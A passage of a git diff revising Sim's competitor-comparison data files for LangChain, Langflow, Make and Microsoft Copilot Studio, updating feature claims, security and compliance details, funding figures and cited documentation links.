CompetitorProfile = { shortDescription: 'Multimodal generation happens only through provider integrations, not a dedicated first-party block.', source: { - url: 'https://docs.langchain.com/oss/python/langchain/mcp', - label: 'Model Context Protocol (MCP) - Docs by LangChain', - asOf: '2026-07-02', + url: 'https://docs.langchain.com/oss/python/langchain/models', + label: 'Models - Docs by LangChain', + asOf: '2026-07-04', }, }, { @@ -213,9 +213,9 @@ export const langchainProfile: CompetitorProfile = { confidence: 'verified', sources: [ { - url: 'https://github.com/langchain-ai/langgraph/blob/main/docs/docs/cloud/deployment/standalone_container.md', - label: 'Standalone container deployment docs (langgraph GitHub)', - asOf: '2026-07-02', + url: 'https://docs.langchain.com/langsmith/deploy-standalone-server', + label: 'Self-host standalone servers - Docs by LangChain', + asOf: '2026-07-04', }, ], }, @@ -472,10 +472,10 @@ export const langchainProfile: CompetitorProfile = { }, dynamicToolUse: { value: - 'Yes: the standard ReAct-style agent pattern in LangChain/LangGraph binds a pool of tools to a model and lets the model choose, at each step, which tool (if any) to call based on its own reasoning, rather than following a fixed, pre-wired sequence of tool calls', + "No: the standard ReAct-style agent pattern in LangChain/LangGraph binds a pool of developer-selected tools to a model at build time, and the model only chooses among that bound pool at each step, rather than browsing or picking from a broader catalog (e.g. an entire MCP server's full tool list) at inference time", detail: - 'This dynamic selection is the core mechanic LangGraph agent templates (e.g. the ReAct Agent template) are built around, and extends to MCP-provided tools loaded at runtime.', - shortValue: 'Yes, ReAct-style agents dynamically pick from a bound tool pool at each step', + "This is the same closed-list function-calling mechanism as Sim's Agent block: the tool pool, including any MCP-provided tools, is bound ahead of time by the developer, not browsed at runtime.", + shortValue: 'No, agent picks only among tools bound in at build time', confidence: 'verified', sources: [ { @@ -548,11 +548,11 @@ export const langchainProfile: CompetitorProfile = { }, parallelExecution: { value: - 'Yes: the Send API lets a routing function dynamically spawn N parallel branches at runtime (not just a fixed number configured ahead of time), each processing a slice of state, with results merged back through a state reducer once all branches complete. This is a native map-reduce/fan-out-fan-in pattern.', + 'Yes: the Send API lets a routing function dynamically spawn one parallel branch per item in a collection of unknown length at runtime, each processing a slice of state, with results merged back through a state reducer once all branches complete. This is a native map-reduce/fan-out-fan-in pattern.', detail: - 'This differs from a small, statically fixed number of parallel branches: the number of concurrent executions is determined by the routing function at run time, based on the size of whatever collection it is fanning out over.', + "This is a code-level equivalent of a 'fan out one branch per list item' pattern: the number of concurrent executions is determined by the routing function at run time, based on the size of whatever collection it is fanning out over, the same run-time-determined-count model that block-based parallel constructs also support alongside a fixed-count mode.", shortValue: - 'Yes, Send API dynamically fans out to N parallel branches, merged via a reducer', + 'Yes, Send API fans out one branch per list item at runtime, merged via a reducer', confidence: 'verified', sources: [ { @@ -644,8 +644,13 @@ export const langchainProfile: CompetitorProfile = { confidence: 'verified', sources: [ { - url: 'https://forum.langchain.com/t/langgraph-platform-deployment-failing/443', - label: 'LangGraph Platform - forum reference on deployment interfaces', + url: 'https://docs.langchain.com/langsmith/agent-server', + label: 'Agent Server - Docs by LangChain', + asOf: '2026-07-04', + }, + { + url: 'https://docs.langchain.com/langsmith/server-a2a', + label: 'A2A endpoint in Agent Server - Docs by LangChain', asOf: '2026-07-02', }, ], @@ -1014,6 +1019,26 @@ export const langchainProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + 'Yes, once deployed: a run started against the LangGraph Agent Server (managed LangSmith Deployment cloud, a self-hosted container, or hybrid) executes entirely server-side against its Redis/Postgres backend, with no dependency on a client device staying open, awake, or connected; interrupt()-paused runs likewise sit server-side across an arbitrary human-response gap.', + detail: + "This requires the graph to already be deployed to the Agent Server; LangChain/LangGraph itself has no built-in trigger picker (schedule, webhook, connector event), so a developer's own cron job, webhook handler, or queue consumer is what calls the Agent Server API to start the run in the first place. Once that call is made, the run's execution has no further tie to the caller's device.", + shortValue: 'Yes once deployed to the Agent Server; the trigger itself is hand-wired', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.langchain.com/langsmith/assistants', + label: 'Assistants - Docs by LangChain', + asOf: '2026-07-02', + }, + { + url: 'https://docs.langchain.com/langsmith/deploy-standalone-server', + label: 'Self-host standalone servers - Docs by LangChain', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { @@ -1078,9 +1103,9 @@ export const langchainProfile: CompetitorProfile = { }, companyMaturity: { value: - 'LangChain Inc. Founded 2022 by Harrison Chase. Raised a $125M Series B led by IVP in October 2025 at a $1.25B valuation (total raised approximately $260M), with reported headcount in the roughly 260-325 employee range as of mid-2026', + 'LangChain Inc. Founded 2022 by Harrison Chase. Raised a $125M Series B led by IVP in October 2025 at a $1.25B valuation (total raised approximately $160M across seed, Series A, and Series B), with reported headcount in the roughly 260-325 employee range as of mid-2026', detail: - 'Prior rounds: a $10M seed from Benchmark (April 2023) and a $25M Series A led by Sequoia days later (reported at a ~$200M valuation). Investors in the Series B include Sequoia, Benchmark, IVP, CapitalG, Sapphire Ventures, and strategic investors such as ServiceNow Ventures, Workday Ventures, Cisco Investments, Datadog Ventures, and Databricks Ventures. Employee-count sources vary by snapshot date (163 to 325 across different 2026 trackers), reflecting rapid hiring.', + "Prior rounds: a $10M seed from Benchmark (April 2023) and a $25M Series A led by Sequoia days later (reported at a ~$200M valuation). $10M + $25M + $125M totals approximately $160M; some third-party trackers report a higher ~$260M cumulative figure, which appears to double-count TechCrunch's July 2025 report of an in-progress raise (at a reported $1.1B valuation) as a separate round from its October 2025 close (the same round, at $1.25B) rather than an additional close, so $160M is the figure directly supported by LangChain's own funding announcement and primary reporting. Investors in the Series B include Sequoia, Benchmark, IVP, CapitalG, Sapphire Ventures, and strategic investors such as ServiceNow Ventures, Workday Ventures, Cisco Investments, Datadog Ventures, and Databricks Ventures. Employee-count sources vary by snapshot date (163 to 325 across different 2026 trackers), reflecting rapid hiring.", shortValue: 'Founded 2022; $125M Series B (Oct 2025) at $1.25B valuation; ~260-325 employees', confidence: 'verified', diff --git a/apps/sim/lib/compare/data/competitors/langflow.ts b/apps/sim/lib/compare/data/competitors/langflow.ts index d1e3c86feb0..80a89675709 100644 --- a/apps/sim/lib/compare/data/competitors/langflow.ts +++ b/apps/sim/lib/compare/data/competitors/langflow.ts @@ -389,15 +389,16 @@ export const langflowProfile: CompetitorProfile = { }, dynamicToolUse: { value: - "Yes: Langflow agents receive a registered list of tools at setup, and the connected LLM decides at run time which registered tool to call based on each tool's description. This includes flows exposed as tools and MCP-server tools.", - detail: 'Tool pool is whatever is registered to that agent, not the entire platform.', - shortValue: 'Yes, agent picks among registered tools at inference', + "No: tools are connected to the Agent component's Tools input at build time in the flow editor, and the connected LLM only chooses among that pre-wired set at run time based on each tool's description. It does not browse or select from a broader catalog, such as an entire MCP server's tool list, at inference time.", + detail: + "Same closed-list function-calling mechanism as Sim's Agent block: the pool is whatever is wired into the flow, not the entire platform or an MCP catalog.", + shortValue: 'No, agent picks only among tools wired in at build time', confidence: 'verified', sources: [ { url: 'https://docs.langflow.org/agents-tools', label: 'Langflow Docs: Configure tools for agents', - asOf: '2026-07-02', + asOf: '2026-07-04', }, ], }, @@ -449,7 +450,7 @@ export const langflowProfile: CompetitorProfile = { }, parallelExecution: { value: - 'No dedicated fan-out/fan-in feature is documented. Langflow builds a flow into a Directed Acyclic Graph and executes nodes in dependency order, each node run using the results of the nodes it depends on: sequential DAG traversal, not a native concurrent-branch-then-join primitive.', + 'No: no dedicated fan-out/fan-in feature is documented. Langflow builds a flow into a Directed Acyclic Graph and executes nodes in dependency order, each node run using the results of the nodes it depends on: sequential DAG traversal, not a native concurrent-branch-then-join primitive.', shortValue: 'Not documented, execution model is sequential DAG traversal', confidence: 'estimated', sources: [ @@ -462,7 +463,7 @@ export const langflowProfile: CompetitorProfile = { }, a2aProtocol: { value: - 'No. Native A2A protocol support is not shipped in Langflow core. A community member submitted a working implementation and feature request in November 2025, but it remains an open enhancement request (closed as a duplicate of an earlier tracking issue), not a merged feature. The only path to A2A interoperability is third-party custom components.', + 'No: native A2A protocol support is not shipped in Langflow core. A community member submitted a working implementation and feature request in November 2025, but it remains an open enhancement request (closed as a duplicate of an earlier tracking issue), not a merged feature. The only path to A2A interoperability is third-party custom components.', shortValue: 'No, open feature request only, not shipped in core', confidence: 'estimated', sources: [ @@ -764,11 +765,11 @@ export const langflowProfile: CompetitorProfile = { }, thirdPartyVetting: { value: - 'Partial: most built-in integration bundles are contributed as pull requests to the official langflow-ai/langflow codebase and merged by core maintainers, but Langflow also ships a community Store where users can share and install flows and components with lighter, informal vetting, plus a custom-component system that lets any user author and run their own Python code with full server access. This code-execution model has a disclosed security incident: CVE-2025-3248, an unauthenticated remote code execution flaw in the custom-component code-validation endpoint (fixed in 1.3.0), actively exploited in the wild to deploy the Flodrix botnet on unpatched instances.', + 'Partial: Langflow disclosed CVE-2025-3248, an unauthenticated remote code execution flaw in the custom-component code-validation endpoint, actively exploited in the wild to deploy the Flodrix botnet on unpatched instances before it was fixed in version 1.3.0. That incident reflects the underlying trust model: most built-in integration bundles are contributed as pull requests to the official langflow-ai/langflow codebase and merged by core maintainers, but Langflow also ships a community Store where users can share and install flows and components with lighter, informal vetting, plus a custom-component system that lets any user author and run their own Python code with full server access, the same trust level as the core server itself.', detail: - 'Langflow documents that it does not enforce isolation between users or restrict local disk/network access, so both bundle and custom-component code run with the same trust level as the core server.', + "Langflow documents that it does not enforce isolation between users or restrict local disk/network access, so both bundle and custom-component code run with the same trust level as the core server. By contrast, every one of Sim's blocks is first-party authored and code-reviewed through Sim's own pull-request process, and Sim has no public marketplace where a third party can publish installable executable tool code.", shortValue: - 'Partial: reviewed bundles plus a lighter-vetted community Store and custom code', + 'Partial: disclosed CVE-2025-3248 RCE; lighter-vetted community Store and custom code', confidence: 'verified', sources: [ { @@ -869,6 +870,26 @@ export const langflowProfile: CompetitorProfile = { confidence: 'unknown', sources: [], }, + unattendedExecution: { + value: + 'Partial: when Langflow is deployed as a server, self-hosted via Docker/Kubernetes or on Langflow Cloud, triggered runs (webhook, API call, or external cron/Airflow calling the API) execute on that server with no dependency on any particular client device staying open. But Langflow can also be run as a desktop app, and a flow triggered through that installation depends on the desktop app process itself staying running on that machine, since there is no separate always-on server component in that deployment mode.', + detail: + 'The dependency is on the chosen deployment mode: a Docker/Kubernetes/Cloud deployment behaves like Sim (server-side, client-independent), while the desktop app is a local process that must stay running to serve triggers.', + shortValue: 'Yes if server-deployed; desktop app requires that app to stay running', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.langflow.org/get-started-installation', + label: 'Langflow Docs: Install Langflow', + asOf: '2026-07-02', + }, + { + url: 'https://docs.langflow.org/webhook', + label: 'Langflow Docs: Trigger flows with webhooks', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/make.ts b/apps/sim/lib/compare/data/competitors/make.ts index 10d562ecc71..a66783f4d35 100644 --- a/apps/sim/lib/compare/data/competitors/make.ts +++ b/apps/sim/lib/compare/data/competitors/make.ts @@ -31,13 +31,13 @@ export const makeProfile: CompetitorProfile = { 'Make (make.com) is a closed-source, cloud-only visual workflow-automation platform where users connect app "modules" on a canvas into scenarios. It now also offers AI Agent blocks, an MCP server, and a JS/Python code step, billed on a per-module-execution credit model.', standoutFeatures: [ { - title: 'Native MCP Server', + title: '8,000+ template gallery available on the free tier', description: - 'Make ships a first-party, cloud-hosted Model Context Protocol server that exposes any scenario as a callable tool to external AI agents/clients (Claude, Cursor, etc.) via a generated token and URL, with no local infrastructure to manage.', - shortDescription: 'Cloud-hosted MCP server exposes scenarios as tools with zero setup.', + "Make's public template gallery hosts over 8,000 pre-built scenarios spanning thousands of use cases, browsable and importable free on every plan including Free, with users paying only for the credits consumed when the imported scenario runs.", + shortDescription: '8,000+ importable scenario templates, free on every plan including Free.', source: { - url: 'https://www.make.com/en/blog/model-context-protocol-mcp-server', - label: 'Make blog: What is MCP Server?', + url: 'https://www.make.com/en/templates', + label: 'Make Templates gallery', asOf: '2026-07-02', }, }, @@ -52,6 +52,17 @@ export const makeProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, + { + title: 'Native MCP Server', + description: + 'Make ships a first-party, cloud-hosted Model Context Protocol server that exposes any scenario as a callable tool to external AI agents/clients (Claude, Cursor, etc.) via a generated token and URL, with no local infrastructure to manage.', + shortDescription: 'Cloud-hosted MCP server exposes scenarios as tools with zero setup.', + source: { + url: 'https://www.make.com/en/blog/model-context-protocol-mcp-server', + label: 'Make blog: What is MCP Server?', + asOf: '2026-07-02', + }, + }, { title: 'Built-in Knowledge/RAG store for agents', description: @@ -74,17 +85,6 @@ export const makeProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, - { - title: '8,000+ template gallery available on the free tier', - description: - "Make's public template gallery hosts over 8,000 pre-built scenarios spanning thousands of use cases, browsable and importable free on every plan including Free, with users paying only for the credits consumed when the imported scenario runs.", - shortDescription: '8,000+ importable scenario templates, free on every plan including Free.', - source: { - url: 'https://www.make.com/en/templates', - label: 'Make Templates gallery', - asOf: '2026-07-02', - }, - }, ], limitations: [ { @@ -1196,6 +1196,26 @@ export const makeProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: Make is a fully managed multi-tenant SaaS running on Amazon AWS, so scheduled, webhook, and MCP-triggered scenarios execute entirely on Make's own servers with zero dependency on any client device staying open, awake, or connected.", + detail: + "Scenario execution happens on Make's AWS infrastructure regardless of trigger type (scheduled, instant/webhook, or MCP tool call); closing the browser tab or shutting down a laptop has no effect on a scheduled or triggered scenario. The only local component Make offers is an optional on-premise agent that bridges Make's cloud to a private network for connectivity, not a requirement for scenarios themselves to run.", + shortValue: "Yes: runs server-side on Make's AWS infrastructure, no client dependency", + confidence: 'verified', + sources: [ + { + url: 'https://www.make.com/en/security', + label: 'Make Security page', + asOf: '2026-07-02', + }, + { + url: 'https://www.make.com/en/on-prem-agents', + label: 'Make on-prem agents page', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { @@ -1241,7 +1261,7 @@ export const makeProfile: CompetitorProfile = { value: 'Founded 2012 (as Integromat, Prague, Czech Republic; bootstrapped, no VC rounds); acquired by Celonis for $100M+ in October 2020; rebranded to Make in 2022; operates as a business unit of Celonis, whose parent has raised ~$1.77B and is valued at ~$11-13B with 3,000+ employees (2024/2026 figures)', detail: - "Integromat was conceived in 2012 by Patrik Šimek in Prague and launched publicly in 2016. It grew to roughly $10M revenue and 11,000+ customers entirely bootstrapped, with no VC funding raised, before Celonis (Germany/US) acquired it in October 2020 for a reported $100M+. Sixteen months later, in February 2022, it was rebranded as 'Make' and now operates as a business unit within Celonis. Make has not disclosed separate headcount or funding figures as a standalone entity. Parent company Celonis (founded 2011 by Alex Rinke, Bastian Nominacher, and Martin Klenk) has raised approximately $1.77B in total funding, is valued at an estimated $11-13B, and reported 3,000+ staff across 20+ offices as of 2024.", + "Integromat was conceived in 2012 by Patrik Šimek in Prague and launched publicly in 2016. It grew to roughly $10M revenue entirely bootstrapped, with no VC funding raised, before Celonis (Germany/US) acquired it in October 2020 for a reported $100M+. TechCrunch's acquisition-day coverage cites 'more than 11,000 customers,' while a separate Latka estimate for the same year puts total registered users at 250K, a gap likely reflecting paying customers versus all signups rather than a contradiction. Sixteen months later, in February 2022, it was rebranded as 'Make' and now operates as a business unit within Celonis. Make has not disclosed separate headcount or funding figures as a standalone entity. Parent company Celonis (founded 2011 by Alex Rinke, Bastian Nominacher, and Martin Klenk) has raised approximately $1.77B in total funding, is valued at an estimated $11-13B, and reported 3,000+ staff across 20+ offices as of 2024.", shortValue: 'Founded 2012, acquired by Celonis in 2020', confidence: 'verified', sources: [ diff --git a/apps/sim/lib/compare/data/competitors/microsoft-copilot.ts b/apps/sim/lib/compare/data/competitors/microsoft-copilot.ts index 23b13992433..cd799eae375 100644 --- a/apps/sim/lib/compare/data/competitors/microsoft-copilot.ts +++ b/apps/sim/lib/compare/data/competitors/microsoft-copilot.ts @@ -16,6 +16,31 @@ export const microsoftCopilotProfile: CompetitorProfile = { oneLiner: 'Microsoft Copilot Studio is a low-code Microsoft tool for building, testing, and publishing conversational and autonomous AI agents with topics or LLM-driven generative orchestration, connectors, agent flows, and Dataverse-grounded knowledge.', standoutFeatures: [ + { + title: 'Broad, independently audited compliance certification list', + description: + 'Copilot Studio is certified under HIPAA (BAA), HITRUST CSF, FedRAMP, SOC, multiple ISO standards (9001, 20000-1, 22301, 27001, 27017, 27018, 27701), PCI DSS, CSA STAR, UK G-Cloud, Singapore MTCS Level 3, Korea K-ISMS, and Spain ENS, each with an audit report on the Microsoft Service Trust Portal.', + shortDescription: + 'HIPAA, FedRAMP, SOC, multiple ISO standards, PCI DSS, and more, each audited.', + source: { + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/admin-certification', + label: 'Review ISO, SOC, and HIPAA compliance - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-02', + }, + }, + { + title: 'Generative orchestration picks topics, tools, and knowledge dynamically', + description: + "Generative orchestration replaces fixed decision-tree topic flows with an LLM-driven planning layer. It interprets user intent, selects from an agent's topics, tools, knowledge sources, and child agents at runtime, and executes multistep plans, instead of requiring every path hand-authored with trigger phrases in advance.", + shortDescription: + 'An LLM planning layer selects topics/tools/knowledge at runtime, not a fixed script.', + source: { + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/guidance/generative-orchestration', + label: + 'Apply generative orchestration capabilities - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-02', + }, + }, { title: 'Reusable, portable Agent Skills', description: @@ -51,31 +76,6 @@ export const microsoftCopilotProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, - { - title: 'Broad, independently audited compliance certification list', - description: - 'Copilot Studio is certified under HIPAA (BAA), HITRUST CSF, FedRAMP, SOC, multiple ISO standards (9001, 20000-1, 22301, 27001, 27017, 27018, 27701), PCI DSS, CSA STAR, UK G-Cloud, Singapore MTCS Level 3, Korea K-ISMS, and Spain ENS, each with an audit report on the Microsoft Service Trust Portal.', - shortDescription: - 'HIPAA, FedRAMP, SOC, multiple ISO standards, PCI DSS, and more, each audited.', - source: { - url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/admin-certification', - label: 'Review ISO, SOC, and HIPAA compliance - Microsoft Copilot Studio | Microsoft Learn', - asOf: '2026-07-02', - }, - }, - { - title: 'Generative orchestration picks topics, tools, and knowledge dynamically', - description: - "Generative orchestration replaces fixed decision-tree topic flows with an LLM-driven planning layer. It interprets user intent, selects from an agent's topics, tools, knowledge sources, and child agents at runtime, and executes multistep plans, instead of requiring every path hand-authored with trigger phrases in advance.", - shortDescription: - 'An LLM planning layer selects topics/tools/knowledge at runtime, not a fixed script.', - source: { - url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/guidance/generative-orchestration', - label: - 'Apply generative orchestration capabilities - Microsoft Copilot Studio | Microsoft Learn', - asOf: '2026-07-02', - }, - }, ], limitations: [ { @@ -124,9 +124,9 @@ export const microsoftCopilotProfile: CompetitorProfile = { shortDescription: 'No on-premises option; agents run only on Microsoft-operated cloud infrastructure.', source: { - url: 'https://learn.microsoft.com/en-us/compliance/regulatory/offering-soc-2', - label: 'SOC 2 Type 2 - Microsoft Compliance | Microsoft Learn', - asOf: '2026-07-02', + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-licensing-gcc', + label: 'US Government customers - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-04', }, }, { @@ -197,14 +197,20 @@ export const microsoftCopilotProfile: CompetitorProfile = { value: 'No: Copilot Studio has no self-hosted deployment of its authoring or orchestration/runtime engine; it runs only as a Microsoft-operated cloud service (commercial or government cloud)', detail: - 'Copilot Studio is an Online Service across Commercial, GCC, GCC High, and DoD environments, all Microsoft-operated. No on-premises or customer-hosted runtime exists.', + "Copilot Studio is an Online Service, defined as such in the Online Services Terms, running only across Commercial, GCC, GCC High, and DoD environments, all Microsoft-operated. The US Government plans documentation describes the service as running 'in a manner consistent with a multitenant, public cloud deployment model,' with no on-premises or customer-hosted runtime offered.", shortValue: 'No, Microsoft-operated cloud service only', - confidence: 'estimated', + confidence: 'verified', sources: [ { - url: 'https://learn.microsoft.com/en-us/compliance/regulatory/offering-soc-2', - label: 'SOC 2 Type 2 - Microsoft Compliance | Microsoft Learn', - asOf: '2026-07-02', + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/admin-certification', + label: + 'Review ISO, SOC, and HIPAA compliance - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-04', + }, + { + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-licensing-gcc', + label: 'US Government customers - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-04', }, ], }, @@ -212,14 +218,14 @@ export const microsoftCopilotProfile: CompetitorProfile = { value: 'Commercial multi-tenant cloud, plus Office 365 GCC, GCC High, and DoD sovereign/government cloud environments', detail: - "Microsoft's SOC 2 compliance documentation lists Copilot Studio among the Power Platform services in scope for Commercial and GCC environments.", + "Copilot Studio's US Government customers documentation describes GCC as compliant with FedRAMP High and available since December 2019, and GCC High as available to eligible customers since February 2022 for DISA SRG IL4-aligned workloads, all still running on Microsoft-operated (not customer-operated) infrastructure.", shortValue: 'Commercial cloud plus GCC/GCC High/DoD government clouds', confidence: 'verified', sources: [ { - url: 'https://learn.microsoft.com/en-us/compliance/regulatory/offering-soc-2', - label: 'SOC 2 Type 2 - Microsoft Compliance | Microsoft Learn', - asOf: '2026-07-02', + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-licensing-gcc', + label: 'US Government customers - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-04', }, ], }, @@ -649,16 +655,23 @@ export const microsoftCopilotProfile: CompetitorProfile = { }, a2aProtocol: { value: - "No native support: Copilot Studio does not ship a first-party Agent2Agent (A2A) implementation today. Third-party custom connectors can wrap an external A2A agent's JSON-RPC/HTTP+JSON endpoints, and Microsoft has stated native A2A support is planned for Copilot Studio and Azure AI Foundry, but no built-in Agent Card discovery or native peer-to-peer A2A calling ships today.", + 'Yes: Copilot Studio ships a first-party Agent2Agent (A2A) connection type, generally available since April 2026, that lets an agent delegate tasks to any external agent implementing the open A2A protocol via an endpoint URL, with automatic Agent Card discovery and API key or OAuth 2.0 authentication.', detail: - 'Available A2A connectors today are community-built, translating Power Platform requests into A2A protocol calls, not a first-party Copilot Studio feature.', - shortValue: 'No native A2A yet; only third-party custom connectors, native support planned', - confidence: 'estimated', + 'This covers connecting a Copilot Studio agent out to an external A2A agent (first-party, second-party, or third-party). There is no documented feature to publish a Copilot Studio agent itself as a callable A2A server for other systems to reach, the same one-directional pattern as its MCP support.', + shortValue: 'Yes, native A2A connections to external agents, GA since April 2026', + confidence: 'verified', sources: [ { - url: 'https://troystaylor.com/power%20platform/custom%20connectors/2026-05-05-agent-to-agent-a2a-connector-work-iq.html', - label: 'Agent-to-Agent (A2A) connector for Copilot Studio and Power Automate', - asOf: '2026-07-02', + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/add-agent-agent-to-agent', + label: + 'Connect to an agent over the Agent2Agent (A2A) protocol - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-04', + }, + { + url: 'https://www.microsoft.com/en-us/microsoft-copilot/blog/copilot-studio/new-and-improved-multi-agent-orchestration-connected-experiences-and-faster-prompt-iteration/', + label: + "What's new in Copilot Studio: Updates to multi-agent systems | Microsoft Copilot Blog", + asOf: '2026-07-04', }, ], }, @@ -688,7 +701,7 @@ export const microsoftCopilotProfile: CompetitorProfile = { integrationCount: { value: '1,000+ pre-built connectors', detail: - 'Copilot Studio shares the same underlying connector catalog Power Automate uses, whose product page cites 1,400+ certified connectors as a broader Power Platform-wide figure.', + 'Copilot Studio shares the same underlying Power Platform connector catalog that Power Automate and Power Apps use, split into standard connectors (included with all plans) and premium connectors (available on select plans), plus custom connectors for any other API.', shortValue: '1,000+ connectors from the shared Power Platform catalog', confidence: 'estimated', sources: [ @@ -696,7 +709,7 @@ export const microsoftCopilotProfile: CompetitorProfile = { url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/advanced-connectors', label: 'Use connectors in Copilot Studio agents - Microsoft Copilot Studio | Microsoft Learn', - asOf: '2026-07-02', + asOf: '2026-07-04', }, ], }, @@ -851,17 +864,22 @@ export const microsoftCopilotProfile: CompetitorProfile = { security: { soc2: { value: - 'Yes: Copilot Studio is audited SOC-compliant, with audit reports available from the Microsoft Service Trust Portal', + 'Yes: Copilot Studio (listed by its former name, "Copilot Studios") is one of the Microsoft online services explicitly in scope of the Office 365 SOC 2 Type 2 attestation report, with audit reports available from the Microsoft Service Trust Portal', detail: - "Copilot Studio's admin-certification documentation confirms SOC compliance without specifying SOC 1 vs SOC 2 vs report Type on that page. The underlying Power Platform SOC 2 Type 2 attestation separately covers Commercial and GCC environments.", - shortValue: 'Audited SOC compliant, reports via Microsoft Service Trust Portal', + 'Copilot Studio\'s own admin-certification page confirms SOC compliance without naming the specific report type, but Microsoft\'s dedicated SOC 2 Type 2 compliance offering page lists "Copilot Studios" by name among the in-scope Office 365 services, resolving which SOC report type applies.', + shortValue: 'Yes, named in scope of the SOC 2 Type 2 attestation report', confidence: 'verified', sources: [ { url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/admin-certification', label: 'Review ISO, SOC, and HIPAA compliance - Microsoft Copilot Studio | Microsoft Learn', - asOf: '2026-07-02', + asOf: '2026-07-04', + }, + { + url: 'https://learn.microsoft.com/en-us/compliance/regulatory/offering-soc-2', + label: 'SOC 2 Type 2 - Microsoft Compliance | Microsoft Learn', + asOf: '2026-07-04', }, ], }, @@ -1092,13 +1110,19 @@ export const microsoftCopilotProfile: CompetitorProfile = { }, failureAlerting: { value: - "Partial: proactive failure alerting is reachable through Azure Monitor Application Insights alerts on exceptions/latency once telemetry is wired up, but there is no Copilot Studio-native, automatic per-run failure-email or weekly-digest feature comparable to Power Automate's flow-failure notifications.", + "Partial: proactive failure alerting is reachable through Azure Monitor alert rules (email, SMS, or webhook action groups) on Application Insights exceptions/latency once telemetry is wired up, but no Copilot Studio-specific documentation describes an automatic, built-in per-run failure-email or weekly-digest feature comparable to Power Automate's flow-failure notifications.", detail: - "Copilot Studio's Analytics area is dashboard/lookup-based, so a maker must open it to see failures, while pushing a notification depends on separately configuring Application Insights alert rules.", + "Copilot Studio's Analytics area is dashboard/lookup-based, so a maker must open it to see failures, while pushing a notification depends on separately configuring Azure Monitor alert rules on the Application Insights resource. Confidence is marked unknown for the negative half of this claim: no Microsoft Learn page was found that explicitly confirms or rules out a native failure-alert feature inside Copilot Studio itself.", shortValue: - 'Alerting requires configuring Application Insights; no native failure-email feature found', + 'Alerting requires configuring Azure Monitor; no native failure-email feature confirmed', confidence: 'unknown', - sources: [], + sources: [ + { + url: 'https://learn.microsoft.com/en-us/azure/azure-monitor/alerts/alerts-overview', + label: 'Overview of Azure Monitor alerts - Azure Monitor | Microsoft Learn', + asOf: '2026-07-04', + }, + ], }, dataDrains: { value: @@ -1168,6 +1192,26 @@ export const microsoftCopilotProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: autonomous event-triggered agent runs and agent flows execute on Microsoft-operated cloud infrastructure (the same Commercial/GCC/GCC High/DoD environments Copilot Studio's authoring and runtime services run in), not on a maker's own device or browser session", + detail: + "Autonomous triggers let an agent proactively respond to a connector event or schedule without a live conversation open, and agent flows run on the Power Automate flow engine's server-side runtime. Closing the authoring browser tab or shutting down a laptop has no effect on a published agent's ability to fire on a trigger or complete a run.", + shortValue: 'Yes, runs server-side on Microsoft-operated infrastructure', + confidence: 'estimated', + sources: [ + { + url: 'https://learn.microsoft.com/en-us/microsoft-copilot-studio/requirements-licensing-gcc', + label: 'US Government customers - Microsoft Copilot Studio | Microsoft Learn', + asOf: '2026-07-04', + }, + { + url: 'https://adoption.microsoft.com/files/copilot-studio/Autonomous-agents-with-Microsoft-Copilot-Studio.pdf', + label: 'Autonomous Agents with Microsoft Copilot Studio', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { @@ -1188,12 +1232,23 @@ export const microsoftCopilotProfile: CompetitorProfile = { }, sla: { value: - 'Not publicly documented as a Copilot Studio-specific, financially backed SLA; general Microsoft Online Services SLA terms (covering Azure, Dynamics 365, Office 365) apply, with a widely cited 99.9% uptime commitment for other core Microsoft 365 services', + "Not publicly documented as a Copilot Studio-specific, financially backed SLA: Microsoft's Service Level Agreements for Online Services document lists uptime terms for Azure, Dynamics 365, Office 365, and Intune, but names neither Copilot Studio nor Power Virtual Agents, while core services like Exchange Online, SharePoint Online, and Teams carry a widely cited 99.9% financially backed uptime guarantee", detail: - 'Reporting on Copilot outages has noted enterprise customers lack the same financially backed SLA protection for Copilot that exists for core services like Exchange Online or file storage.', - shortValue: 'No product-specific SLA found; general Online Services SLA applies', - confidence: 'unknown', - sources: [], + 'Independent reporting on the June 2026 Microsoft 365 Copilot outages noted enterprise customers lack the same financially backed SLA protection for Copilot that exists for core services like Exchange Online, since many enterprise agreements do not explicitly define uptime commitments for AI components.', + shortValue: 'No Copilot Studio-specific SLA found in the Online Services SLA document', + confidence: 'estimated', + sources: [ + { + url: 'https://www.microsoft.com/licensing/docs/view/Service-Level-Agreements-SLA-for-Online-Services?lang=1', + label: 'Service Level Agreements (SLA) for Online Services - Microsoft Licensing', + asOf: '2026-07-04', + }, + { + url: 'https://windowsnews.ai/article/microsoft-365-copilot-outage-exposes-ai-reliability-gaps-in-enterprise-slas.425641', + label: 'Microsoft 365 Copilot Outage Exposes AI Reliability Gaps in Enterprise SLAs', + asOf: '2026-07-04', + }, + ], }, community: { value: @@ -1220,9 